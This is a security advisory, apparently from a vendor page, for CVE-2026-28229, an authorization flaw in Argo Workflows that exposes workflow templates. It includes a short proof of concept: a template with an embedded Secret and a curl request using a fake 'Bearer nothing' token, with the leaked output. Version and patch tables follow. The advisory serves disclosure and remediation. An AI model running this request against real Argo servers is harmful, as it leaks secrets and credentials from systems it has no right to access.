CVE-2026-28229 is a critical-severity (CVSS 9.8) CWE-863 vulnerability in github.com/argoproj/argo-workflows/v3. A fix is available for github.com/argoproj/argo-workflows/v3 — see the affected versions and patch details below.
Argo Workflows has unauthorized access to Argo Workflows Template
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28229.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-28229 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/argoproj/argo-workflows/v3🐹github.com/argoproj/argo-workflows/v4Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.
Details
Informers use the server’s rest config, so they read using server SA privileges.
PoC
- Create template
apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
name: leak-workflow-template
namespace: argo
spec:
templates:
- name: make-secret
resource:
action: create
manifest: |
apiVersion: v1
kind: Secret
metadata:
name: leaked-secret
type: Opaque
data:
password: c3VwZXJzZWNyZXQ=
Then apply that with kubectl apply -f poc.yml
2. Query Argo Server with a fake token
Result:
> kubectl apply -f poc.yml
workflowtemplate.argoproj.io/leak-workflow-template created
> curl -sk -H "Authorization: Bearer nothing" \
"https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template"
{"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}
Impact
Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/argoproj/argo-workflows/v3 | ≥ 3.7.0&&< 3.7.11 | 3.7.11go get github.com/argoproj/argo-workflows/v3@v3.7.11 |
| 🐹Go | github.com/argoproj/argo-workflows/v4 | all versions | 4.0.2go get github.com/argoproj/argo-workflows/v4@v4.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/argoproj/argo-workflows/v3 to 3.7.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28229 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-28229 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-28229. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
An Important flaw was found in Argo Workflows, as used in Red Hat OpenShift AI. This vulnerability allows an attacker to gain unauthorized access to Workflow Templates and Cluster Workflow Templates due to insufficient authorization checks. This could lead to the disclosure of sensitive information, including embedded…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift AI 2.25 | rhoai/odh-data-science-pipelines-argo-argoexec-rhel9:1776740558 | RHSA-2026:10184 |
Frequently Asked Questions
Is CVE-2026-28229 in your dependencies?
O3 Security finds CVE-2026-28229 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.